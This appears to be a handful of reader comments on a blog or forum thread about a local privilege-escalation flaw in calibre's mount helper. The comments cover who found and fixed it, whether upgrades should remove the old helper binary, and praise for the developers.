Siddartha - I believe most of the problem was Kovid's handling the remediations. I'm not familiar with Donenfeld (my apologies), but Rosenberg is *often* credited with CVE's for his bug hunting abilities. Check the next set of kernel patches - I would wager Rosenberg has three or four to his credit.

Now that calibre-mount-helper has been removed, shouldn't the install script look for it and remove it? That way folks that upgrade won't end up with a dangling copy? Or do I misunderstand how the install/upgrade process goes?

jake

I have been an avid advocate of calibre among foss circles. Given how things turned up, I would like to apologize to all people that had (possibly) their computers compromised and -in specific- to my friend Zet.

Kudos go to Kovid, Dan and Jason.
I will continue to support and evangelize calibre.

"Only one local exploit in the last 5 years" <3